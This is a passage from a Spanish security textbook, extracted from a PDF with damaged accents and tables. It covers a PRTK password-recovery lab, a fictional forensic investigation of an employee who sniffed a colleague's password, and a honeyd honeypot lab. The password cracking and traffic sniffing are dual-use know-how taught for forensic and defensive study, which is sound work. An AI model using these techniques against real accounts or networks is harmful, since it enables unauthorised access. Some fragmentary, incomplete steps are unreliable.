Recuperar la clave secreta de un archivo/fichero en formatos ms conocidos como pdf, winzip o word
Objetivo:
Access Data Password Recovery Toolkits requiere de una licencia de uso para poder recuperar los
formatos Word, Excel o pdf.
Por defecto esta herramienta no neceita licencia de uso para objetos en formato winzip.
Una clave segura no contiene palabras que existen de un diccionario, adems tiene como mnimo
una longitud de 8 caractres
Paso 1: Verifique donde se encuentra el objeto del caso Joe Jacob donde exista un objeto comprimido en
formato winzip con clave goodtimes.
Paso 2: Cargue el aplicativo PRTK
Paso 3: Cree un nuevo caso
572
PRTK analizar el cdigo de entrada para saber si tiene alguna clave para descifrar. Presione Next para
continuar.
Paso 6: Informe del ataque a ejecutar
573
574
11.
No es fcil hacer una investigacin forense, pero no se debe dejar al azar la metodologa de presentacin o
documentacin de un incidente informtico, pues un juez ser muy duro y cruel contra la justificacin tcnica
de un ingeniero informtico que no tiene ni idea de los protocolos legales que si entienden los jueces que
regulan la justicia local de cada pas.
Existen varias metodologas para ayudar a realizar con xito una investigacin de evidencia digital, la ms
relevante es la metodologa CTOSE, que surge como resultado del proyecto homnimo y que ha sido
cofinanciado por la Unin Europea, diferentes universidades y empresas privadas relacionadas con las
buenas prcticas de la seguridad de la informacin.
Las tareas bsicas y mnimas que cualquier metodologa debera tener seran:
Para explicar este protocolo se propone hacer una practica que desde el punto de vista acadmico permita
simular un caso de la vida real y tratarlo de forma sistmica, veamos el contenido de este informe supuesto
por medio de un mecanismo acadmico denominado practica:
Practica:
Crear un procedimiento basado en un protocolo de comportamiento para hacer investigacin forense
Objetivo:
Supuestos:
Tipo de
documento
Clase de servicio
Fecha de
creacin
Junio 04 de 2007
Versin
1.0.0
Base de
requerimientos
Nota: Este documento es una simulacin o prueba de concepto mediante informe ejecutivo de cul es el
protocolo que se debe usar para hacer una investigacin forense.
575
Las empresas y los personajes son ficticios, no existen en la vida real, y son inventados por el autor solo
para ilustrar una propuesta de protocolo de actuacin ante la investigacin de incidentes informticos que
podran terminar en casos penales.
En este caso acadmico se simulan la empresa GPS de Colombia, fuerzas militares de cualquier pas pero no
tienen ninguna relacin con las empresas y fuerzas militares de la vida real donde viven los posibles lectores
de este documento.
Problemtica de ejemplo
GPS de Colombia es una empresa de logstica de transporte pesado, se dedica al transporte de mercancas y
para ello dispone de una flota de camiones que se localizan a travs del uso del sistema de GPS en cada uno
de los camiones.
Esto les permite, gestionar la carga y descarga de camiones con una mayor eficiencia.
Los clientes tienen acceso a GPS de Colombia travs una pgina web en la que la gente que necesita utilizar
un camin para el transporte de diferentes mercancas se podra conectar a la pgina web e indicar que tiene
una mercanca para transportar de un punto X a un punto Y.
La empresa GPS de Colombia a travs de esta solicitud y con la informacin que posee de la localizacin de
sus camiones puede ofrecerla la posibilidad de disponer de un camin en un tiempo muy ajustado (puesto
que manda al camin que se encuentra ms cercano y libre de carga).
Para la realizacin de toda esta actividad, los sistemas de informacin que posee son:
Un conjunto de servidores que sirven para la gestin de toda su informacin, todos los sistemas de
informacin se basan en la utilizacin de tecnologa Windows.
A nivel de medidas de proteccin, la organizacin posee un sistema de seguridad perimetral (firewall) y un
detector de intrusin (IDS). Todos los equipos de la organizacin se encuentran sincronizados y a su vez,
todos y cada uno de ellos dejan y almacena logs que se guardan en el servidor de copias de seguridad.
El equipo responsable de seguridad de la organizacin la ha detectado la aparicin de "elementos extraos"
(software no autorizado) en el equipo del director comercial de la organizacin, que tiene acceso a toda la
Informacin crtica (informacin de clientes).
A la vez, tambin parece ser que el director tcnico ha perdido informacin que solo tena acceso l y que se
encontraba en un servidor centralizado (repositorio de archivos).
La direccin de GPS de Colombia ha decido contratar a un auditor en anlisis forense para que analice cmo,
cundo y por qu se dio el incidente informtico.
11.1.
Introduccin
En la fecha lunes 4 de junio de 2007, el equipo de manejo de incidentes de la organizacin GPS de Colombia,
ha detectado software no autorizado denominado ethereal en el equipo del Director comercial y perdida de
informacin en el servidor de ficheros/archivos, especficamente se han perdido archivos del director tcnico
de la organizacin, por este motivo se solicito la intervencin de un tercero experto para judicializar al
responsable, que para este caso es globalteksecurity, firma especializada en seguridad de la informacin.
El equipo de manejo de incidentes previo aviso de la lentitud del PC del rea comercial y de la prdida de
archivos del rea tcnica, ha revisado los logs del servidor de archivos/ficheros y encontr que el da sbado
2 de junio de 2007 a las 11:30AM, aparece que el ordenador/computador gerente_comercial con IP
192.168.100.55 se registro en el MS Active Directory y fue utilizado con el usuario tecnico01.
Este usuario tecnico01 no est autorizado para utilizar ese ordenador/computador, pero los logs muestran
registros donde aparece que a las 11:35AM copio hacia la carpeta c:\MovimientosGPS del
ordenador/computador
gerente
comercial
el
archivo/fichero
c:\Archivos
Compartidos\FAC\Junio2007\GPSHelicopteroFACBTV332.xls y luego a las 11:45AM lo borro del servidor de
archivos/ficheros.
576
El equipo de atencin de incidentes ha clasificado este incidente como Posibilidad de fuga de datos de la
organizacin debido a que el equipo del gerente comercial no est autorizado a usar la cuenta del gerente
tcnico tecnico01.
Justificacin:
Esta es la evidencia que ha puesto en alarma al equipo de atencin de incidentes de GPS de Colombia, y
adems esta es la justificacin para contratar a un tercero experto que pueda corroborar las sospechas del
rea de seguridad de la informacin para poder judicializar al responsable, esto debido a que la informacin
borrada es altamente clasificada pues pertenece al contrato ms grande y crtico que tiene la organizacin,
es un contrato con las fuerzas Armadas de Colombia que podran impactar los ingresos de la organizacin, la
mayor preocupacin es que la informacin borrada tena que ver con las operaciones de reconocimiento anti
guerrilla de la flota de helicpteros.
577
SERVIDOR WEB
Windows 2003 Server R2, Enterprise Edition con Service Pack 2.
Usuarios con privilegios administrativos: Administrador
Firewall del servidor activado
No se encuentra activado el directorio activo como tampoco se encuentra pegado a un directorio
activo
Hay una base de datos de usuarios locales para darle acceso a los clientes externos
Se encuentra en la DMZ
SERVIDOR DE ARCHIVOS O FICHEROS
Windows 2003 Server R2, Enterprise Edition con Service Pack 2.
Usuarios con privilegios administrativos: Administrador
Firewall del servidor activado
Es el servidor que contiene el directorio activo para autenticar a los usuarios de la intranet, se
encuentran 173 usuarios
Se encuentra en la zona militarizada o LAN de servidores
11.2.1.3.1 Proteccin del sistema: El da lunes 4 de junio de 2007, se le pide al personal no laborar en
sus respectivos computadores de 8:00Am a 12M, para no contaminar la evidencia, en especial el servidor de
archivos/ficheros y la estacin de la gerencia comercial que se est tornando ms lenta a medida que pasa el
tiempo. Se apagan los puntos de acceso wireless. Se toman fotos de la pantalla de la estacin de trabajo del
gerente comercial as como del servidor de archivos/ficheros y se apagan fsicamente desconectndolos de la
corriente elctrica.
Se diligencian lista de chequeo proteccin del sistema ver anexo 1.
11.2.1.3.2 Bsqueda de evidencia: Se eligen por sospechas de contener evidencia digital los siguientes
elementos: Estacin de trabajo de la gerencia comercial, servidor de archivos/ e impresoras y servidor
centralizado de logs.
Se buscan dispositivos de almacenamiento sospechosos y llama la atencin una memoria USB conectada a la
estacin de trabajo de la gerencia comercial.
Se diligencian lista de chequeo Bsqueda de evidencia ver anexo 2.
578
11.2.1.3.3 Aseguramiento del sistema: Se etiquetan por sospechas de contener evidencia digital los
siguientes elementos:
Se toman fotos por todos los costados de los elementos de investigacin y de su entorno.
Se diligencian lista de chequeo aseguramiento del sistema ver anexo 3.
11.2.1.3.4 Recogida de datos: Para cada medio magntico etiquetado se le hace copia bit a bit, luego se
calcula la funcin de dispersin o hash md5sum y sha1sum para garantizar la integridad de los datos.
Nota: No se le debe hacer copia a las carpetas personales del usuario especficamente a los directorios Mis
documentos del sistema para no transgredir los derechos protegidos por la ley LOPDP.
El Live CD que usa el analista es el Linux backtrack versin 2
La herramienta utilizada para hacer las copias bit a bits es dd
Las funciones hash se calcula con las herramientas sha1sum y md5sum.
Se hacen 3 copias en DVD y se firman digitalmente ante notario. Una de las copias se deja en
custodia del notario.
Se diligencian lista de chequeo recogida de datos ver anexo 4.
Se documenta en paralelo el proceso de adquisicin detallando al mximo las acciones, actores y materiales
que intervienen.
Justificacin:
Se utilizan las funciones de hash md5 y hash1 para que cualquier investigador forense pueda corroborar por
cualquier mtodo la integridad de la prueba. Se le pide al notario, al perito delegado, al representante del
sindicato de empleados y al auditor interno que firmen las actas respectivas con su aprobacin de la
metodologa aplicada.
11.2.1.3.5 Transporte a Globaltek para el posterior anlisis: Se contrata un transporte de valores con
experiencia que llevara los medios magnticos hasta la oficina de Globaltek para hacer el anlisis respectivo.
Se verifica que no haya equipos de radio o elementos que puedan daar la informacin de los discos.
11.2.1.3.6 Almacenamiento en las oficinas de Globaltek: Bajo acceso restringido se guardan en una
bodega especializada para contener evidencia digital.
Se siguen las recomendaciones de la norma ISO 17799:2005 apartado 10.7 Media handling
Se diligencian lista de chequeo Almacenamiento ver anexo 5
Justificacin:
Con el abogado representante de GPS de Colombia se tiene la hiptesis que este es un proceso laboral por
ello se documenta sobre todo el proceso de adquisicin con un muy alto grado de detalle para justificar las
pruebas ante un proceso penal. En especial se debe garantizar que otro investigador a partir de las muestras
pueda llegar al mismo resultado. Pero lo ms importante que se concluye con el abogado es que no debemos
obtener las pruebas sin las cautelas procedimentales necesarias para garantizar su validez posterior as
como el no transgredir los derechos fundamentales del empleado en cuestin.
579
Justificacin: La mayora del software utilizado es software libre debido a la gran aceptacin mundial de las
herramientas para investigacin forense
11.2.1.5
11.2.1.5.1
Efectivamente los logs del servidor de archivos/ficheros muestran que el da sbado 2 de junio a las
11:30AM, el ordenador/computador gerente_comercial con IP 192.168.100.55 se registr en el MS Active
Directory y se utilizo con el usuario tecnico01.
Este usuario tecnico01 no est autorizado para utilizar ese ordenador/computador, pero los logs muestran
registros donde aparece que a las 11:35AM copio hacia la carpeta c:\MovimientosGPS del
ordenador/computador
gerente
comercial
el
archivo/fichero
c:\Archivos
Compartidos\FAC\Junio2007\GPSHelicopteroFACBTV332.xls y luego a las 11:45AM lo borro del servidor de
archivos/ficheros.
Se rectifica en este informe que este fichero/archivo no estaba en una carpeta de archivos personales y por
lo tanto no se est violando la ley LOPDP.
Lgicamente el archivo esta borrado en el servidor pero las herramientas forenses muestran que el archivo
existe fsicamente y que se pudo recuperar en el servidor de archivos/ficheros. Este archivo muestra las
trazas con las coordenadas GPS del movimiento del helicptero con matricula BTV332 en alguna regin de
Colombia.
11.2.1.5.2
11.2.1.5.3
Otra prueba contundente es una copia del mencionado fichero/archivo en la memoria USB de la gerencia
comercial en la raz del directorio principal de la memoria USB.
Se rectifica en este informe que este archivo/fichero no estaba en una carpeta de archivos personales y por
lo tanto no se est violando la ley LOPDP.
11.2.1.5.4
580
Esta prueba es muy fuerte porque la respalda un archivo en formato Word encontrado en el disco de la
mencionada estacin que contiene informacin que revela las claves de muchos usuarios y en particular
muestra que la clave del usuario tecnico01 que es sistemas2006
Se rectifica en este informe que este archivo/fichero Word no estaba en una carpeta de archivos personales
y por lo tanto no se est violando la ley LOPDP.
Se almacenan las pruebas en un DVD con los siguientes nombres:
Se hacen 3 copias en DVD y se firman digitalmente ante notario. Una de las copias se deja en custodia del
notario.
Justificacin:
Se hace el anlisis de datos sin transgredir la ley LOPDP pues no se han obtenido muestras de datos
personales de sus respectivas carpetas.
Sin estas pruebas no se puede construir un caso ante la justicia laboral, civil y penal.
Si se llegase a transgredir la LOPDP las pruebas no serian validas ante el juez.
Se dictamina basados en las pruebas forenses que el gerente comercial mediante una utilidad de
escucha no autorizada llamada ethereal obtuvo la clave del usuario tecnico01. Ver prueba4.doc
Acto seguido suplanto al director tcnico y copio el archivo a su estacin de trabajo. Ver
prueba4.doc
Luego lo borro del servidor de archivos/ficheros. Ver prueba1.doc
Luego lo copia a una memoria USB pero no se sabe con qu intencin. Ver prueba3.doc
Se tiene la hiptesis de que el usuario gerente comercial es un empleado descontento con la
organizacin GPS de Colombia en especial con el director tcnico
Esta investigacin siempre tuvo en cuenta la LOPDP para no transgredir los derechos fundamentales
del empleado
Todas las pruebas fueron documentadas para que el juez pueda tomar la mejor decisin basados en
la verdad
Justificacin:
Se debe anexar al informe la matricula profesional, los diplomas y la experiencia impresa que
garanticen a las partes en cuestin que el tcnico en investigacin forense es un profesional
certificado y adecuado
La cadena de custodia se debe preservar para garantizar la no modificacin de las pruebas
No transgredir las leyes y normas, estas siempre deben ser la primera preocupacin del
investigador forense para que el caso no se pueda caer
11.4.0 Conclusiones
Si hubo una intrusin por parte de un empleado interno descontento, se anexan las pruebas
GPS de Colombia cuenta con un excelente equipo de atencin a incidentes dado que ha respondido
adecuadamente a las alarmas de los logs/bitcoras respecto a la deteccin de ataques
La informacin critica borrada fue recuperada con las herramientas forenses respectivas
Se tiene un caso muy fuerte contra la gerencia comercial y nicamente el juez podr dar fallo
basado en las pruebas forenses que no transgredieron los derechos fundamentales de las personas
581
La documentacin de procesos de actuacin fue muy acertada pues la informacin fue preservada
para la posterior investigacin forense, es decir no se permiti el trabajo diario en los elementos
afectados por el incidente
El impacto real del incidente fue grave ya que se demostr que la informacin borrada del servidor
de ficheros corresponda con la informacin tcnica de los vuelos de reconocimiento de las fuerzas
militares, un cliente muy importante que requiere de alta confidencialidad para el negocio de GPS
de Colombia
Justificacin:
La LOPDP le garantiza al trabajador que la empresa no debe transgredir sus derechos pero la
organizacin puede limitar al empleado mediante acuerdos firmados con cada funcionario para que no
utilice en forma inadecuada sus recursos.
Las medidas correctivas propuestas son crticas para que el incidente no se vuelva a presentar
582
Item
1.
Mantener a
investigacin
2.
3.
4.
cualquier
persona
OK
alejada
del
sistema
bajo
Nombre
Identificacin
Descripcin del sistema
Modelo del sistema
Dimensiones del sistema
Elementos identificativos del sistema
Descripcin del hardware del sistema
Sistema operativo del sistema
Software relevante que ejecutaba el sistema
Uso del sistema
Nombre e identificacin del usuario que usa el sistema
Contraseas del sistema tanto de usuarios de aplicaciones
Acciones que se han llevado a cabo en el sistema desde el
conocimiento del incidente
5.
6.
583
Observacin
Item
1.
2.
3.
4.
5.
6.
7.
8.
9.
OK
Observacin
OK
Observacin
Item
1.
2.
3.
4.
5.
6.
7.
Tomar fotografas del disco duro que incluya las dos caras y por el
lateral de los conectores, haciendo nfasis en los conectores y
switches de configuracin
584
585
Item
1.
OK
Observacin
OK
Observacin
2.
3.
4.
Generar un hash SHA1 y MD5 del disco duro del que se realiza la
adquisicin de datos.
Verificar el Hash SHA1 y MD5 del disco duro de adquisicin
5.
Item
1.
586
3.
12.0
Investigador
Investigacin forense documentada por:
Armando Carvajal
Lder de anlisis Forense
Globaltek Security Tecnologas globales para la seguridad de la informacin
Email: armando.carvajal@globalteksecurity.com
13.0
Bibliografa
Real Digital Forensics, Keith J. Jones, Addison-Wesley, 2006.
Revista Sistemas, Acis # 96, Jeimy Cano, abril-junio 2006
Metodologas y fases de la investigacin forense, Daniel Cruz Allende, www.uoc.edu, 2006
Torres falkonert, Daniel Andres, Tcnicas de Informtica Forense en la investigacin de delitos de
alta tecnologa, sep 2003
Casey, Eoghan, digital Evidence and computer crime, 2000
587
Captulo 22
Honeypots: Conociendo al enemigo
1.0
Honeypot
Se define Honeypot como un recurso de red destinado a ser atacado y comprometido, este ser examinado,
atacado y seguramente comprometido por el atacante. El honeypot proporciona informacin sobre el
atacante antes de que se comprometan los sistemas reales
Definicin de honeypot
Se
2.0
588
3.0
Caractersticas de un Honeypot
4.0
Clasificacin o taxonomia
Taxonomia de los honeypots
Honeypot de produccin (Production
Honeypot System)
Honeypot de investigacin (Research
Honeypot System)
589
5.0
Ubicacin en el permetro
Antes del firewall: Esta localizacin es la que menos riesgo suministra a la red. Como este se
encuentra fuera de la zona protegida por el firewall, puede ser atacado sin ningn tipo de peligro
para el resto de la red
590
Detrs del firewall: El acceso al Honeypot esta dirigido por las reglas de filtrado del firewall, su
ubicacin permite la deteccin de los atacantes internos, los firewalls mal configurados, las
mquinas infectadas por gusanos y los atacantes externos
591
6.0
Repercusiones legales
El abogado Carlos Santiago lvarez Cabrera en su artculo Honeypots Aspectos penales, Colombia,
Diciembre de 2005, http://cyberlaws.blogspot.com, concluye respecto de las vulnerabilidades, que:
La velocidad de los ataques esta en constante incremento debido a los 0 days vulnerabilityes.
Ademas el abogado carlos Santiago Alvarez Cabrera trata los temas de Trampa, Provacidad y
responsabilidad del uso de los honeypots:
Trampa (Entrapment): Es el proceso realizado por los cuerpos policiales (law enforcement) de
inducir a alguien a cometer un acto punible con el objetivo de iniciar la accin judicial pertinente.
En este caso del Honeypot, aunque es un elemento pasivo creado por nosotros para ser atacado
(sin que seamos parte de los cuerpos policiales) si no deseamos perseguir judicialmente esta
intrusin en el Honeypot, no realizamos ninguna trampa. El objetivo del Honeypot es recibir los
ataques, no recoger informacin para demandar a los atacantes del Honeypot.
Privacidad (Privacy): La informacin recogida puede dividirse en informacin transaccional e
informacin de contenido.
Responsabilidad (Liability): Este aspecto hace referencia a las posibles demandas que podemos
recibir en el caso de que un atacante utilice nuestro Honeypot como plataforma de lanzamiento de
ataques. Las demandas se basaran en que nosotros no hemos realizado unos mnimos esfuerzos
de seguridad en nuestra red, sino que al contrario, facilitamos el acceso a nuestros recursos para
que sean utilizados en todo tipo de ataques.
592
Repercusiones legales
7.0
Posibles utilidades
8.0
los Honeypots son tiles para las investigaciones forenses especficamente en las investigaciones de
inteligencia porque permiten analizar la actividad del hacker o atacante basados en el engao. Si ya
se conoce la identidad del atacante y adems usted va a tomar acciones contra del atacante es
importante recordar que antes de poner el honeypot se debe tener un permiso judicial contra el
atacante.
Utilidad en sistemas en produccin: Brindan proteccin, prevencin, deteccin y respuesta a los
ataques de baja interaccin.
Utilidad en la Investigacin: Permite recolectar informacin, ayuda a definir tendencias respecto de
las actividades del atacante, activacin de sistemas tempranos de alarma, prediccin de ataques e
investigaciones criminales con alta interaccin.
En concreto permiten ejercer el derecho a la legtima defensa.
Dado que su objetivo fundamental es la construccin de un perfil del atacante permite la deteccin
de las 0 days vulnerabilidades que son tan intimidantes como las amenazas desconocidas.
Por ejemplo si detectamos trafico masivo y desconocido en la red se puede intuir que el atacante ya
esta adentro, entonces con un honeypots se puede capturar el username y el password del hacker,
permiten la activacin de keyloggins, la deteccin del email del atacante, permiten ver el contenido
del chat del hacker con terceros, etc.
Como ayudan
Dado
593
En concreto: Se puede establecer como funciona el atacante que es lo que hace y como me hace
dao en forma detallada.
9.0
Honeynets
Se define una Honeynet como un conjunto de Honeypots altamente interactivos diseados para la
investigacin y la obtencin de informacin sobre atacantes. Una Honeynet es una arquitectura, no un
producto o un software determinado.
El objetivo es el de hacer creer al atacante que est ante una red real, entonces de deben aadir los
distintos elementos que conforman una arquitectura de red
Honeynets
Tradicionalmente, la mayora de los sistemas de seguridad han sido siempre de carcter defensivo. IDS,
Firewalls y dems soluciones se basan en la defensa de los sistemas de la organizacin, y cuando un ataque
o vulnerabilidad es detectado de inmediato se procede a corregirlo, entonces el mtodo tradicional no es
proactivo es correctivo por lo tanto no hay mejora intrnseca o proactividad propia de los sistemas. Las
Honeynets miran de cambiar esta actitud mediante el estudio de los ataques y atacantes. Obtener nuevos
patrones de comportamiento y nuevos mtodos de ataque con el objetivo de prevenirlos en los sistemas
reales.
Sin Honeynets, cada vez que se produzca un ataque nuevo y exitoso a un sistema real existente, este
dejar de dar servicio y se ver comprometido. Con las Honeynets, un ataque exitoso o nuevo no tiene
porqu afectar a ningn sistema real.
Adems perder el factor sorpresa, ya que habremos obtenidos datos precisos de su ataque en el estudio de
los logs, cosa que permitirn contrarrestarlo de una manera ms eficiente. Al igual que los Honeypots, la
cantidad y calidad de informacin producida es muy importante, ya que cualquier actividad existente es
sospechosa.
594
10.0
Laboratorio: Honeypots
Objetivos:
Prerrequisitos:
Obtener el software Honeyd: software para la implementacin de honeypots, http://www.honeyd.org
Actividades:
APARTADO I: Interfaces de red virtuales
Ejecute el comando ifconfig para ver que interfaces de red tiene su estacin Linux, para hacer el laboratorio
Resultado 1.1: Que interfaces obtiene?
El comando ifconfig -a debe mostrar las siguientes interfaces:
lo
595
Nota:
Observe los espacios antes y despus del parntesis cuadrado en la instruccin if [ $sec
Para probarlo digite sh ping.sh 255 | tee resultado.txt
Si mira el archivo resultado.txt debera ver lo siguiente:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
--- 127.0.0.1 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
PING 127.0.0.2 (127.0.0.2) 56(84) bytes of data.
64 bytes from 127.0.0.2: icmp_seq=1 ttl=64 time=0.011 ms
--- 127.0.0.2 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.011/0.011/0.011/0.000 ms
PING 127.0.0.3 (127.0.0.3) 56(84) bytes of data.
64 bytes from 127.0.0.3: icmp_seq=1 ttl=64 time=0.010 ms
--- 127.0.0.255 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.007/0.007/0.007/0.000 ms
Ahora generemos un entorno de simulacin. Disponemos nicamente de un servidor con Linux y
simularemos otro conjunto de hosts en la propia mquina para disminuir costos de recursos en hardware
para el laboratorio:
Esta mquina la conectaremos a una subred, tambin con direccionamiento privado.
Recordemos que el direccionamiento privado no figura en las tablas de routing de la red Internet. En
concreto, para nuestra red simulada usaremos las direcciones 192.168.100.0/24.
Lo que nos proponemos en primer lugar es dar a la mquina una direccin de esa red. Como hemos
supuesto que no disponemos de ninguna otra interface, generaremos una. Linux nos permite generar hasta
2 interfaces virtuales. Son las llamadas interfaces dummy. As, conectaremos nuestro host de ejemplo a la
subred 192.168.100.0 con el comando:
ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up
12. La opcion netmask indica mascara de red
13. La opcion up indica que se habilite de inmediato
Compruebe que la interface se ha creado, ejecutando nuevamente el comando:
ifconfig a
Al acabar este apartado, debemos tener una mquina funcionando que responde a las IPs 127.0.0.1 y
192.168.100.1.
La red 192.168.100.0/24 la usaremos para colocar mquinas trampa para detectar cualquier intento de
ataque que se est produciendo en ella.
Resultado 1.2: Compruebe la conectividad ejecutando ping a la nueva direccin. Compruebe tambien que
interfaces presenta ahora el sistema (con el comando ifconfig -a).
Respuesta:
ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up
ifconfig a
596
597
create template
set
template personality "OpenBSD 2.6-2.8"
set
template default tcp action block
set
template uid 1000 gid 1000
bind
192.168.100.3 template
set
192.168.100.3 uptime 1327650
listening on lo: ip
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
El comando ping debe responder no solo al IP 192.168.100.2 sino a cualquier IP del segmento, pruebe
haciendo ping a varias IP de la red 192.168.100.0.
598
Ahora al parar el servicio honeyd con las teclas CTRL-C, las IPs del segmento 192.168.100.0 no deben
responder.
!! Los servicios reales no pueden correr simultneamente con la simulacin honeyd !!
Vuelva a subir el servicio honeyd en la consola virtual CTRL-ALT-F2, ahora observe el trfico con un sniffer
como tcpdump en la consola virtual CTRL-ALT-F3:
tcpdump i lo | tee logs.tcpdump
Observemos los logs:
tcpdump: listening on lo
00:19:18.850198 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:18.850301 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:18.850732 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.in-addr.arpa.
00:19:18.850741 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850810 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.in-addr.arpa.
00:19:18.850815 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850906 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.in-addr.arpa.
00:19:18.850911 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850967 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.in-addr.arpa.
00:19:18.850971 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:19.848096 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:19.848149 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:20.848091 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:20.848144 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:29.206180 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:29.206256 192.168.100.4 > 192.168.100.1: icmp: echo reply
00:19:29.206553 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.in-addr.arpa.
00:19:29.206561 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:29.206622 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.in-addr.arpa.
00:19:29.206626 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:30.198089 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:30.198140 192.168.100.4 > 192.168.100.1: icmp: echo reply
00:19:31.198085 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:31.198141 192.168.100.4 > 192.168.100.1: icmp: echo reply
(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)
Resultado 2.1: Que posibles utilidades se ven en este software en el diario vivir de una organizacin
conectada a Internet? Como ayudara en la deteccin de problemas?
Respuesta:
Cree un nuevo archivo de configuracin honey.cfg para que aparezcan los nuevos requerimientos:
create default
set
default
set
default
599
add
set
bind
set
Nota:
default
default
192.168.100.3
192.168.100.3
Es clave la instruccin set default default tcp action block para que el servidor web responda al
requerimiento. Si prueba todas las posibilidades nicamente block funcionara.
La ruta para el shell web.sh en knoppix-std es: /usr/share/doc/honeyd/examples/web.sh
La ruta para el shell web.sh en Linux Auditor es: /usr/share/honeyd/scripts/web.sh
Haga una copia hacia la carpeta /tmp y verifique que el shell web.sh contenga las siguientes lneas:
#!/bin/sh
DATE=`date`
cat << _eof_
HTTP/1.0 200 OK
Date: $DATE
Server: Microsoft-IIS/5.0
Connection: close
Content-Type: text/plain
<DIR>
.
<DIR>
..
<DIR>
AdminScripts
<DIR>
ftproot
<DIR>
iissamples
<DIR>
mailroot
<DIR>
Scripts
<DIR>
webpub
<DIR>
wwwroot
0 bytes
290,897,920 bytes free
Ahora reinicie el servicio honeyd con el nuevo archivo de configuracin, hgalo en la consola virtual CTRLALT-F2:
Baje el servicio cancelando el proceso con la secuencia de teclas CTRL-C:
honeyd -d -i lo -f honey.cfg -l log.honeyd
Ejecute los siguientes comandos en la terminal virtual CTRL-ALT F1:
Pruebe que el servidor web responda:
telnet
192.168.100.3 80
600
ping 192.168.100.254
PING 192.168.100.254 (192.168.100.254): 56 data bytes
64 bytes from 192.168.100.254: icmp_seq=0 ttl=64 time=0.3 ms 64 bytes from 192.168.100.254:
icmp_seq=1 ttl=64 time=0.1 ms 64 bytes from 192.168.100.254: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 192.168.100.254: icmp_seq=3 ttl=64 time=0.1 ms --- 192.168.100.254 ping statistics --- 4
packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.3 ms
Se deben obtener los siguientes logs en el tcpdump:
2006-01-25-18:39:06.0556
2006-01-25-18:39:06.0556
2006-01-25-18:39:09.0749
2006-01-25-18:39:11.0026
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0032
2006-01-25-18:39:21.0038
2006-01-25-18:39:27.0412
2006-01-25-18:39:27.0412
2006-01-25-18:39:28.0408
2006-01-25-18:39:28.0409
2006-01-25-18:39:29.0408
2006-01-25-18:39:29.0409
2006-01-25-18:39:30.0408
2006-01-25-18:39:30.0409
2006-01-25-18:39:38.0096
2006-01-25-18:39:38.0096
2006-01-25-18:39:39.0088
2006-01-25-18:39:39.0089
2006-01-25-18:39:40.0088
2006-01-25-18:39:40.0089
2006-01-25-18:39:41.0088
2006-01-25-18:39:41.0089
APARTADO III: Evaluacion del trafico de red generado desde y hacia el honeypot
Uno de los programas ms usados actualmente para la captura de trfico es ethereal. En este apartado lo
usaremos para capturar el trfico de la sesin http generado en el apartado anterior. Una primera
introduccin a la captura de trfico la hemos comentado en el apartado anterior. La utilidad tcpdump permite
la captura de trfico.
La forma ms simple es mediante la ejecucin de:
tcpdump i <nombre_interface>
Revise el sitio: http://www.arrakis.es/~terron/tcpdump.html
601
Resultado 3.1: Ejecute el comando tcpdump y realiza una conexin web como la solicitada en la parte II de
la practica. Observe los paquetes e identifique la conexin tcp que tiene lugar. Es posible capturar paquetes
ARP? A que se debe?
Respuesta: Se debera ver algo como este log del comando tcpdump -i lo
tcpdump: listening on lo
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:438126803(0) win 32767
<mss 16396,sackOK,timestamp 297028 0,nop,wscale 0> (DF)
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:1300529704(0) ack
438126804 win 16430 <mss 1460> (DF)
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767 (DF)
